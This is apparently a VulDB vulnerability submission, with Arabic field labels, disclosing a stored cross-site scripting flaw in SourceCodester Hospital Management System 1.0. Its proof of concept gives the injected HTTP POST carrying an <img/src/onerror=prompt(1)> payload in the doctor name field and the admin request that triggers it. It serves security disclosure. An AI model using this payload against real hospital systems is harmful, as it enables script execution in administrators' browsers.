| عنوان | SourceCodester Hospital Management System 1.0 Cross Site Scripting |
|---|
| الوصف | Stored Cross Site Scripting (XSS) in the "Vaidya Mitra" healthcare application, specifically in the doctor's account settings functionality. The issue arises due to inadequate input validation in the doctor's name parameter, allowing an attacker to inject malicious scripts into the system, leading to a Cross-Site Scripting (XSS) vulnerability.
Proof of Concept (PoC):
1. Exploiting Doctor's Account Settings:
The attacker, using the Burp Suite Proxy tool, intercepts and modifies a POST request sent by the doctor to update their account settings.
The payload <img/src/onerror=prompt(1)> is injected into the name parameter.
The manipulated request looks like the following:
POST /vm/doctor/edit-doc.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
...
Content-Type: application/x-www-form-urlencoded
Content-Length: 203
...
id00=4&oldemail=salahtayeh13%40yahoo.com&email=salahtayeh13%40yahoo.com&name=Dr.+Salah+Tayeh+%3Cimg%2Fsrc%2Fonerror%3Dprompt%281%29%3E&nic=12345678&Tele=7070707070&spec=1&password=doctor&cpassword=doctor
Upon submission, the payload gets stored in the doctor's name field.
2. Triggering XSS in Admin's View:
An admin viewing doctors' information at http://localhost/vm/admin/doctors.php inadvertently triggers the XSS vulnerability.
The admin sends a GET request to view a doctor's details:
GET /vm/admin/doctors.php?action=view&id=4 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
...
The server returns the doctor's information, and the XSS payload in the name field is executed in the admin's browser, leading to the alert being triggered.
|
|---|
| المصدر | ⚠️ https://github.com/Salah-Tayeh/CVEs-and-Vulnerabilities/blob/main/Hospital%20Management%20System%20-%20Stored%20XSS.md |
|---|
| المستخدم | Salah Tayeh (UID 77272) |
|---|
| ارسال | 11/11/2024 08:37 PM (2 سنوات منذ) |
|---|
| الاعتدال | 11/11/2024 09:37 PM (1 hour later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 283922 [SourceCodester Hospital Management System 1.0 /vm/doctor/edit-doc.php name البرمجة عبر المواقع] |
|---|
| النقاط | 20 |
|---|